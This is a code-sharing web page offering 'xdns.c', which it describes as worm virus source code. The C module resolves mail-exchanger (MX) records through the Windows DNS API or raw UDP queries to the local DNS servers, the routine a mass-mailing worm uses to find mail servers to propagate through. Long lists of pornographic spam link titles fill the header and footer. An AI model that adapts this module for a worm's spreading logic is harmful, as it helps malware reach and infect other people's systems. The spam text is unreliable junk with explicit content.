亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? xdns.c

?? 一個蠕蟲病毒源代碼
?? C
字號:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <windns.h>
#include <iphlpapi.h>
#include "xdns.h"
#pragma comment(lib, "ws2_32.lib")

#define mx_alloc(n) ((void*)HeapAlloc(GetProcessHeap(),0,(n)))
#define mx_free(p) {HeapFree(GetProcessHeap(),0,(p));}

#define TYPE_MX 15
#define CLASS_IN 1

#pragma pack(push, 1)
struct dnsreq_t {
	WORD id;
	WORD flags;
	WORD qncount;
	WORD ancount;
	WORD nscount;
	WORD arcount;
};
#pragma pack(pop)

struct mx_rrlist_t {
	struct mx_rrlist_t *next;
	char domain[260];
	WORD rr_type;
	WORD rr_class;
	WORD rdlen;
	int rdata_offs;
};

static int mx_dns2qname(const char *domain, unsigned char *buf)
{
	int i, p, t;
	for (i=0,p=0;;) {
		if (domain[i] == 0) break;
		for (t=i; domain[t] && (domain[t] != '.'); t++);
		buf[p++] = (t - i);
		while (i < t) buf[p++] = domain[i++];
		if (domain[i] == '.') i++;
	}
	buf[p++] = '\0';
	return p;
}

static int mx_make_query(int sock, struct sockaddr_in *dns_addr, const char *domain, WORD req_flags)
{
	unsigned char buf[1024];
	int i, tmp;

	memset(buf, 0, sizeof(buf));
	i = 0;
	*(WORD *)(buf+i) = (WORD)(GetTickCount() & 0xFFFF); i += 2;
	*(WORD *)(buf+i) = req_flags; i += 2;		/* flags */
	*(WORD *)(buf+i) = htons(0x0001); i += 2;	/* qncount */
	*(WORD *)(buf+i) = 0; i += 2;
	*(WORD *)(buf+i) = 0; i += 2;
	*(WORD *)(buf+i) = 0; i += 2;

	tmp = mx_dns2qname(domain, buf+i); i += tmp;
	*(WORD *)(buf+i) = htons(TYPE_MX); i += 2;
	*(WORD *)(buf+i) = htons(CLASS_IN); i += 2;

	tmp = sendto(sock, buf, i, 0, (struct sockaddr *)dns_addr, sizeof(struct sockaddr_in));
	return (tmp <= 0) ? 1 : 0;
}

static int mx_skipqn(unsigned char *buf, int pos, int len, struct dnsreq_t *reply_hdr)
{
	int i, n;
	for (i=0; (i<ntohs(reply_hdr->qncount)) && (pos < len);) {
		n = buf[pos];
		if (n == 0) {
			pos += 5;
			i++;
		} else if (n < 64) {
			pos += 1+n;
		} else {
			pos += 6;
			i++;
		}
	}
	return pos;
}

static int mx_decode_domain(unsigned char *buf, int pos, int len, char *out)
{
	int retpos=0, sw, n, j, out_pos;
	*out = 0;

	for (sw=0, out_pos=0; pos < len;) {
		if (out_pos >= 255)
			break;
		n = (unsigned char)buf[pos];
		if (n == 0) {
			pos++;
			break;
		} else if (n < 64) {
			pos++;
			for (j=0; j<n; j++)
				out[out_pos++] = buf[pos++];
			out[out_pos++] = '.';
		} else {
			if (sw == 0) retpos=pos+2;
			sw = 1;
			n = ntohs(*(WORD *)(buf+pos)) & 0x3FFF;
			pos = n;
			if (pos >= len) break;
		}
	}

	while (out_pos > 0)
		if (out[out_pos-1] != '.') break; else out_pos--;
	out[out_pos] = 0;

	return (sw == 0) ? pos : retpos;
}

static void mx_free_rrlist(struct mx_rrlist_t *p)
{
	struct mx_rrlist_t *q;
	while (p != NULL) {
		q = p->next;
		mx_free(p);
		p = q;
	}
}

static struct mx_rrlist_t *mx_parse_rr(unsigned char *buf, int reply_len)
{
	struct mx_rrlist_t *root, *top, *newrr, tmp_rr;
	struct dnsreq_t *reply_hdr;
	int i, j, rr, rr_count;

	root = top = NULL;
	reply_hdr = (struct dnsreq_t *)buf;

	if (reply_len < 12) return NULL;
	i = 12;
	i = mx_skipqn(buf, i, reply_len, reply_hdr);

	if (i >= reply_len)
		return NULL;

	rr_count = reply_hdr->ancount + reply_hdr->nscount + reply_hdr->arcount;
	for (rr=0,newrr=NULL; (rr < rr_count) && (i < reply_len); rr++) {
		memset(&tmp_rr, '\0', sizeof(struct mx_rrlist_t));
		i = mx_decode_domain(buf, i, reply_len, tmp_rr.domain);
		if ((i+10) >= reply_len) break;
		tmp_rr.rr_type = ntohs(*(WORD*)(buf+i)); i += 2;
		tmp_rr.rr_class = ntohs(*(WORD*)(buf+i)); i += 2;
		i += 4;		/* 32-bit TTL */
		tmp_rr.rdlen = ntohs(*(WORD*)(buf+i)); i += 2;
		tmp_rr.rdata_offs = i;
		if ((tmp_rr.rdlen < 0) || ((i+tmp_rr.rdlen) > reply_len)) break;

		j = sizeof(struct mx_rrlist_t) + 16;
		newrr = (struct mx_rrlist_t *)mx_alloc(j);
		if (newrr == NULL) break;
		memset((char *)newrr, '\0', j);
		*newrr = tmp_rr;
		i += tmp_rr.rdlen;

		newrr->next = NULL;
		if (top == NULL) {
			root = top = newrr;
		} else {
			top->next = newrr;
			top = newrr;
		}
	}
	return root;
}

static struct mxlist_t *my_get_mx_list2(struct sockaddr_in *dns_addr, const char *domain, int *err_stat)
{
	int sock, reply_len, rrcode, buf_size;
	int loc_retry;
	struct timeval tv;
	struct fd_set fds;
	unsigned char *buf;
	unsigned short query_fl;
	struct dnsreq_t *reply_hdr;
	struct mx_rrlist_t *rrlist=NULL, *rr1;
	struct mxlist_t *mxlist_root, *mxlist_top, *mxlist_new;

	*err_stat = 1;

	buf_size = 4096;
	buf = (char *)mx_alloc(buf_size);
	if (buf == NULL) return NULL;

	sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (sock == 0 || sock == INVALID_SOCKET) {
		mx_free(buf);
		return NULL;
	}

	for (loc_retry=0; loc_retry<2; loc_retry++) {
		mxlist_root = mxlist_top = NULL;

		if (loc_retry == 0)
			query_fl = htons(0x0100);
		else
			query_fl = htons(0);

		if (mx_make_query(sock, dns_addr, domain, query_fl))
			continue;

		FD_ZERO(&fds); FD_SET(sock, &fds);
		tv.tv_sec = 12; tv.tv_usec = 0;
		if (select(0, &fds, NULL, NULL, &tv) <= 0)
			continue;

		memset(buf, '\0', sizeof(buf));
		reply_len = recv(sock, buf, buf_size,0);
		if (reply_len <= 0 || reply_len <= sizeof(struct dnsreq_t))
			continue;

		reply_hdr = (struct dnsreq_t *)buf;

		rrcode = ntohs(reply_hdr->flags) & 0x0F;
		if (rrcode == 3) {
			*err_stat = 2;
			break;
		}
		if ((rrcode == 2) && (ntohs(reply_hdr->flags) & 0x80)) {
			*err_stat = 2;
			break;
		}
		if (rrcode != 0)
			continue;

		rrlist = mx_parse_rr(buf, reply_len);
		if (rrlist == NULL)
			continue;

		mxlist_root = mxlist_top = NULL;
		for (rr1=rrlist; rr1; rr1=rr1->next) {
			if ((rr1->rr_class != CLASS_IN) || (rr1->rr_type != TYPE_MX) || (rr1->rdlen < 3))
				continue;
			mxlist_new = (struct mxlist_t *)mx_alloc(sizeof(struct mxlist_t));
			if (mxlist_new == NULL) break;
			memset(mxlist_new, 0, sizeof(struct mxlist_t));

			mxlist_new->pref = ntohs(*(WORD *)(buf+rr1->rdata_offs+0));
			mx_decode_domain(buf, rr1->rdata_offs+2, reply_len, mxlist_new->mx);
			if (mxlist_new->mx[0] == 0) {
				mx_free(mxlist_new);
				continue;
			}

			if (mxlist_top == NULL) {
				mxlist_root = mxlist_top = mxlist_new;
			} else {
				mxlist_top->next = mxlist_new;
				mxlist_top = mxlist_new;
			}
		}

		if (mxlist_root == NULL) {
			mx_free_rrlist(rrlist);
			continue;
		}

		mx_free_rrlist(rrlist);
		break;
	}
	mx_free(buf);
	closesocket(sock);
	return mxlist_root;
}

struct mxlist_t *my_get_mx_list(struct sockaddr_in *dns_addr, const char *domain)
{
	struct mxlist_t *list;
	int i, e;
	for (i=0; i<2; i++) {
		list = my_get_mx_list2(dns_addr, domain, &e);
		if (list != NULL) return list;
		if (e == 2)		/* permanent error */
			break;
		Sleep(100);
	}
	return NULL;
}

//-----------------------------------------------------------------------------

typedef DNS_STATUS (WINAPI *DNSQUERYA)(IN PCSTR pszName, IN WORD wType, IN DWORD Options, IN PIP4_ARRAY aipServers OPTIONAL, IN OUT PDNS_RECORD *ppQueryResults OPTIONAL, IN OUT PVOID *pReserved OPTIONAL);

static struct mxlist_t *getmx_dnsapi(const char *domain)
{
	HINSTANCE hDnsapi;
	DNSQUERYA pDnsQuery_A;
	DNS_RECORD *pQueryResults, *pQueryRec;
	DNS_STATUS statusDns;
	char szDnsApi[] = "dnsapi.dll";
	struct mxlist_t *mx_root, *mx_top, *mx_new;

	hDnsapi = GetModuleHandle(szDnsApi);
	if (hDnsapi == NULL) {
		hDnsapi = LoadLibrary(szDnsApi);
		if (hDnsapi == NULL) return NULL;
	}
	pDnsQuery_A = (DNSQUERYA)GetProcAddress(hDnsapi, "DnsQuery_A");
	if (pDnsQuery_A == NULL) return NULL;

	statusDns = pDnsQuery_A(domain, DNS_TYPE_MX, DNS_QUERY_STANDARD, NULL, &pQueryResults, NULL);
	if (statusDns != ERROR_SUCCESS) return NULL;

	mx_root = mx_top = NULL;
	for (pQueryRec=pQueryResults; pQueryRec; pQueryRec = pQueryRec->pNext) {
		if (pQueryRec->wType != DNS_TYPE_MX) continue;
		mx_new = (struct mxlist_t *)mx_alloc(sizeof(struct mxlist_t));
		if (mx_new == NULL) break;
		memset(mx_new, '\0', sizeof(struct mxlist_t));
		mx_new->pref = pQueryRec->Data.MX.wPreference;
		lstrcpyn(mx_new->mx, pQueryRec->Data.MX.pNameExchange, 255);
		if (mx_top == NULL) {
			mx_root = mx_top = mx_new;
		} else {
			mx_top->next = mx_new;
			mx_top = mx_new;
		}
	}
	return mx_root;
}

//-----------------------------------------------------------------------------

typedef DWORD (WINAPI *GetNetworkParams_t)(PFIXED_INFO, PULONG);

static struct mxlist_t *getmx_mydns(const char *domain)
{
	static const char szIphlpapiDll[] = "iphlpapi.dll";
	HINSTANCE hIphlpapi;
	GetNetworkParams_t pGetNetworkParams;
	char *info_buf;
	FIXED_INFO *info;
	IP_ADDR_STRING *pa;
	DWORD dw, info_buf_size;
	struct sockaddr_in addr;
	struct mxlist_t *mxlist;

	hIphlpapi = GetModuleHandle(szIphlpapiDll);
	if (hIphlpapi == NULL || hIphlpapi == INVALID_HANDLE_VALUE)
		hIphlpapi = LoadLibrary(szIphlpapiDll);
	if (hIphlpapi == NULL || hIphlpapi == INVALID_HANDLE_VALUE) return NULL;
	pGetNetworkParams = (GetNetworkParams_t)GetProcAddress(hIphlpapi, "GetNetworkParams");
	if (pGetNetworkParams == NULL) return NULL;

	info_buf_size = 16384;
	info_buf = (char *)mx_alloc(info_buf_size);
	dw = info_buf_size;
	info = (FIXED_INFO *)info_buf;
	if (pGetNetworkParams(info, &dw) != ERROR_SUCCESS)
		return NULL;

	for (mxlist=NULL,pa=&info->DnsServerList; pa; pa=pa->Next) {
		if (pa->IpAddress.String == NULL) continue;
		addr.sin_family = AF_INET;
		addr.sin_port = htons(53);
		addr.sin_addr.s_addr = inet_addr(pa->IpAddress.String);
		if (addr.sin_addr.s_addr == 0 || addr.sin_addr.s_addr == 0xFFFFFFFF) {
			struct hostent *h = gethostbyname(pa->IpAddress.String);
			if (h == NULL) continue;
			addr.sin_addr = *(struct in_addr *)h->h_addr_list[0];
		}
		if (addr.sin_addr.s_addr == 0 || addr.sin_addr.s_addr == 0xFFFFFFFF)
			continue;

		mxlist = my_get_mx_list(&addr, domain);
		if (mxlist != NULL) break;
	}
	mx_free(info_buf);
	return mxlist;
}

//-----------------------------------------------------------------------------

struct mxlist_t *get_mx_list(const char *domain)
{
	struct mxlist_t *p;
	if ((p = getmx_dnsapi(domain)) != NULL)
		return p;
	else
		return getmx_mydns(domain);
}

void free_mx_list(struct mxlist_t *p)
{
	struct mxlist_t *q;
	while (p != NULL) {
		q = p->next;
		mx_free(p);
		p = q;
	}
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
激情小说欧美图片| 国产成人自拍网| 国产香蕉久久精品综合网| 欧美日本一区二区三区四区| 欧美综合色免费| 欧美色男人天堂| 欧美日韩一区二区三区在线看| 色婷婷精品久久二区二区蜜臂av| 91网站最新地址| 欧美性大战久久久久久久 | 亚洲欧美日本在线| 亚洲另类中文字| 亚洲一二三四久久| 日韩精品视频网| 激情av综合网| jlzzjlzz欧美大全| 欧美日韩午夜在线视频| 91精品国产综合久久福利软件| 欧美一区二区三区免费视频| 久久综合九色综合97_久久久| 国产清纯白嫩初高生在线观看91 | 欧美一级理论片| 久久色.com| 欧美国产乱子伦| 亚洲黄网站在线观看| 日日骚欧美日韩| 国产精品性做久久久久久| av亚洲精华国产精华精| 欧美日韩你懂得| 久久综合久久综合久久综合| 成人免费在线播放视频| 日韩精彩视频在线观看| 大尺度一区二区| 欧美男生操女生| 中文字幕乱码日本亚洲一区二区| 亚洲理论在线观看| 国内不卡的二区三区中文字幕| 93久久精品日日躁夜夜躁欧美| 精品视频1区2区3区| 国产欧美日韩激情| 日韩成人一区二区| 99国产精品视频免费观看| 欧美精品1区2区| 国产精品久久久久天堂| 首页亚洲欧美制服丝腿| 99精品视频一区二区| 欧美成人精品高清在线播放 | 依依成人综合视频| 91精品国产综合久久婷婷香蕉| 日韩女优电影在线观看| 亚洲精品水蜜桃| 国产精品2024| 91精品国产色综合久久不卡蜜臀| 国产精品国产三级国产三级人妇 | 中文子幕无线码一区tr| 日韩av一级片| 欧美日本一道本| 亚洲最大色网站| bt7086福利一区国产| 国产午夜精品一区二区| 蜜桃久久av一区| 欧美二区三区的天堂| 一区二区三区四区中文字幕| 成人国产亚洲欧美成人综合网| 精品捆绑美女sm三区| 美女在线视频一区| 日韩一区二区在线观看视频播放| 亚洲一区在线电影| 在线观看一区日韩| 一区二区三区高清在线| 色综合视频在线观看| 中文字幕一区二区三区精华液 | 一区二区不卡在线视频 午夜欧美不卡在| 国产一区二区在线观看视频| 精品少妇一区二区三区免费观看| 免费精品99久久国产综合精品| 欧美日韩国产成人在线免费| 亚洲国产综合色| 欧美精三区欧美精三区| 亚洲成人综合在线| 7777精品伊人久久久大香线蕉完整版| 亚洲国产一区二区三区 | 94色蜜桃网一区二区三区| 国产精品乱人伦一区二区| av成人免费在线观看| 亚洲欧美日本韩国| 91国产丝袜在线播放| 亚洲一区二区精品视频| 欧美日韩一区小说| 青青青爽久久午夜综合久久午夜| 日韩一区国产二区欧美三区| 国产自产视频一区二区三区| 欧美激情在线一区二区三区| 91丝袜美女网| 午夜久久久影院| 欧美精品一区男女天堂| 国产高清久久久| 亚洲精选视频免费看| 欧美精品国产精品| 国内精品国产三级国产a久久| 国产精品福利av| 欧美天堂亚洲电影院在线播放| 免费成人av在线播放| 国产欧美日韩三级| 91久久人澡人人添人人爽欧美| 青青草精品视频| 中文字幕永久在线不卡| 国产精品久久三| 欧洲视频一区二区| 国产一区三区三区| 亚洲主播在线播放| 久久天堂av综合合色蜜桃网| 91网站最新网址| 九九久久精品视频| 亚洲精品久久嫩草网站秘色| 欧美变态口味重另类| 日本道免费精品一区二区三区| 狠狠色丁香久久婷婷综| 一区二区三区在线视频播放| 精品国产免费久久| 欧美丝袜自拍制服另类| 国产99久久久久| 喷白浆一区二区| 亚洲一区二区黄色| 中文字幕在线不卡一区二区三区| 欧美一区日韩一区| 91国产成人在线| 成人黄色网址在线观看| 美腿丝袜在线亚洲一区| 亚洲国产综合色| 亚洲视频一二三| 国产亚洲欧美色| 日韩你懂的在线观看| 欧美最猛性xxxxx直播| www.亚洲色图.com| 成人污污视频在线观看| 久久成人av少妇免费| 日韩福利视频网| 亚洲综合色噜噜狠狠| 日韩码欧中文字| 国产精品乱码一区二三区小蝌蚪| 日韩久久免费av| 911精品国产一区二区在线| 在线观看视频91| 色哟哟一区二区在线观看| 99麻豆久久久国产精品免费优播| 精品亚洲成a人在线观看| 日韩av中文在线观看| 日本亚洲视频在线| 日韩av电影免费观看高清完整版在线观看| 一区二区三区四区精品在线视频| 中文字幕在线不卡一区二区三区| 日本一区二区成人| 国产精品国产三级国产普通话三级| 欧美tickling网站挠脚心| 日韩一区二区三区免费观看| 欧美一区二区日韩| 精品久久人人做人人爽| 精品国产伦一区二区三区免费| 久久久久久久综合日本| 国产欧美日韩另类一区| 亚洲欧洲美洲综合色网| 亚洲精品videosex极品| 国产成人aaaa| 97国产一区二区| 欧美亚洲另类激情小说| 777奇米成人网| 国产亚洲精品超碰| 亚洲欧美在线视频观看| 亚洲一区二区三区视频在线| 日韩国产欧美在线观看| 麻豆91精品91久久久的内涵| 国产在线播放一区二区三区| 国产v日产∨综合v精品视频| 91年精品国产| 欧美精品日韩一本| 国产亚洲欧美一区在线观看| 亚洲欧洲国产日韩| 日韩综合小视频| 国产成人自拍高清视频在线免费播放| 99久久久精品| 欧美一区二区播放| 国产精品久久久久影院老司 | 精品国产乱码久久久久久蜜臀| 久久先锋影音av鲁色资源| 国产精品视频你懂的| 亚洲一二三四在线| 国产精品18久久久| 欧美性受xxxx黑人xyx性爽| 精品国产一区二区三区四区四| 国产精品美日韩| 日本不卡中文字幕| 99国产一区二区三精品乱码| 91精品国产综合久久精品 | 99精品国产99久久久久久白柏| 欧美日韩黄色影视| 欧美国产激情一区二区三区蜜月| 亚洲www啪成人一区二区麻豆| 国产经典欧美精品| 日韩一区二区中文字幕|